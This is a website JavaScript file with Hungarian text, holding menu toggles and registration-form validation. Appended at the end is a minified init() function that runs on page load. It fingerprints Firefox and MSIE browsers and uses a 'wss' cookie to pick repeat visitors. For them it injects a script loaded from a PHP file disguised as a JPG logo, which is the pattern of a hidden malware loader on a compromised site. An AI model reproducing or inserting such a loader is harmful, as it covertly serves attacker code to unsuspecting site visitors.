function subMenu(id, action)
{
    if(!document.getElementById)
	{
		return;
	}

	var menuid = document.getElementById(id); 
     
    if(action == "hide") 
	{
        menuid.style.display = "none"; 
	}
    else 
	{
		menuid.style.display = "block"; 
	}   
}


function showmenu(elmnt)
{
	ddmenuitem = document.getElementById(elmnt);
	ddmenuitem.style.visibility = 'visible';

}
function hidemenu(elmnt)
{
	ddmenuitem = document.getElementById(elmnt);
	ddmenuitem.style.visibility = 'hidden';
}

function hide(menu){ 

	var menuStyle=document.getElementById(menu).style; 
	menuStyle.display="none"; 

} 

function show(menu) {

	var menuStyle=document.getElementById(menu).style; 
	menuStyle.display="block";

}

/*function validate()
{
	var csnev = document.frmreg.txtcsnev.value;
	var knev = document.frmreg.txtknev.value;
	var email = document.frmreg.txtemail.value;
	var felhasznalo = document.frmreg.txtfelhasznalo.value;
	var jelszo = document.frmreg.txtjelszo.value;
	var jelszo1 = document.frmreg.txtjelszo1.value;
	var telefon = document.frmreg.txttelefon.value;
	
	validemail = validEmail(email)
	if(!validemail){
		alert("You must enter a valid email.");
		return false;		
	}
	else if (csnev == "") {
		alert("A csalad név nem lehet üres .");
		return false;
	}

	else if (knev == "") {
		alert("A kereszt név nem lehet üres .");
		return false;
	}
	 
	else if (felhasznalo == "") {
		alert("You must enter a username.");
		return false;
	}

	else if (jelszo == "") {
	  alert("Ird be a jelszót.");
	  return false;
	}
	else{
		if(jelszo1 == "")
		{
			alert("Ird be a jelszot")
			return false
		}
		else
		{
			if(jelszo != jelszo1)
			{
				alert("A két jelszó nem egyezik meg")
				return false			
			}
		}
	}
	
	
 return true;
}
*/
function validEmail(email)
{      
	var emailReg = /^[a-zA-Z0-9._-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,4}$/;
	return emailReg.test(email); 
}

function checkEmail()  
{   
	var email = document.frmreg.txtemail.value;
	var emailExpression = /^([a-z0-9_\.-]+)@([\da-z\.-]+)\.([a-z\.]{2,6})$/;  
	if(!email.match(emailExpression))  
	{  
		alert("Nem jó email cím");  
		return false;  
	}  
	document.frmreg.txtemail.style.background = "white";
	return true;  
}  



function validate() {
    var flag = 0;
    var errors = "";    
    if (document.frmreg.txtcsnev.value=="") 
	{    
        flag++;
        errors = errors + "Írd be a családnevet\n";
		document.frmreg.txtcsnev.style.background = "red";
		document.frmreg.txtcsnev.focus();
    }
	
	if (document.frmreg.txtknev.value=="") {    
        flag++;
        errors = errors + "Írd be a keresztnevet\n";
		document.frmreg.txtknev.style.background = "red";
    }
	
    var id = document.frmreg.txtemail.value;
    var re = /^[a-zA-Z0-9._-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,4}$/i; 
    if(!id.match(re)) 
	{ 
        flag++;
        errors = errors + "Nem jó email cím\n";
		document.frmreg.txtemail.style.background = "red";
    }
	
	if (document.frmreg.txtfelhasznalo.value=="") {    
        flag++;
        errors = errors + "Írd be a felhasznalónevet\n";
		document.frmreg.txtfelhasznalo.style.background = "red";
    }
	
	if (document.frmreg.txtjelszo.value=="") {    
        flag++;
        errors = errors + "Írd be a jelszót\n";
		document.frmreg.txtjelszo.style.background = "red";
    }
	if (document.frmreg.txtjelszo1.value=="") {    
        flag++;
        errors = errors + "Írd be a jelszót\n";
		document.frmreg.txtjelszo1.style.background = "red";
    }
	if(document.frmreg.txtjelszo.value != document.frmreg.txtjelszo1.value)
	{
		flag++;
		errors = errors + "A két jelszó nem egyezik meg\n";
		document.frmreg.txtjelszo.style.background = "red";
		document.frmreg.txtjelszo1.style.background = "red";
	}
	
	if (!document.frmreg.btnnem[0].checked && !document.frmreg.btnnem[1].checked){ 

		flag++;
		errors = errors + "Válassz nemet\n";
		
	}
    if(flag > 0)
	{
        alert("Hibák:\n\n"+ errors +"\nKérem nézze meg oket.");    
        return false; 
    }
    return true;
    }
	

function validateEmpty(fld) {
    var error = "";
  
    if (fld.value.length == 0) {
        //fld.style.background = 'Yellow'; 
        //error = "The required field has not been filled in.\n"
    } else 
	{
        fld.style.background = "white";
    }
    return error;   
}

function elvet() {
    var form = document.forms.frmreg;
    for (i = 0; i < form.elements.length; i++) 
	{
        if (form.elements[i].type == "text" || form.elements[i].type == "password" )
		{          
			form.elements[i].style.background = "white";
		}
    }
}

function selected(obj){
	var lilist = document.getElementById("menu1");
	var alist = lilist.getElementsByTagName("a");
	for (i=0; i<alist.length; i++ )
	{
		alist[i].className="";
	}
	obj.className="aktiv";
}

function clearText(text1) {
    if (text1.value == "Keress") {
        text1.value = ""
    }
}

function resetText(text1) {
    if (text1.value == "")
        text1.value = "Keress"
}     




function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/Resources/Images/logo_uj1.JPG.php?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();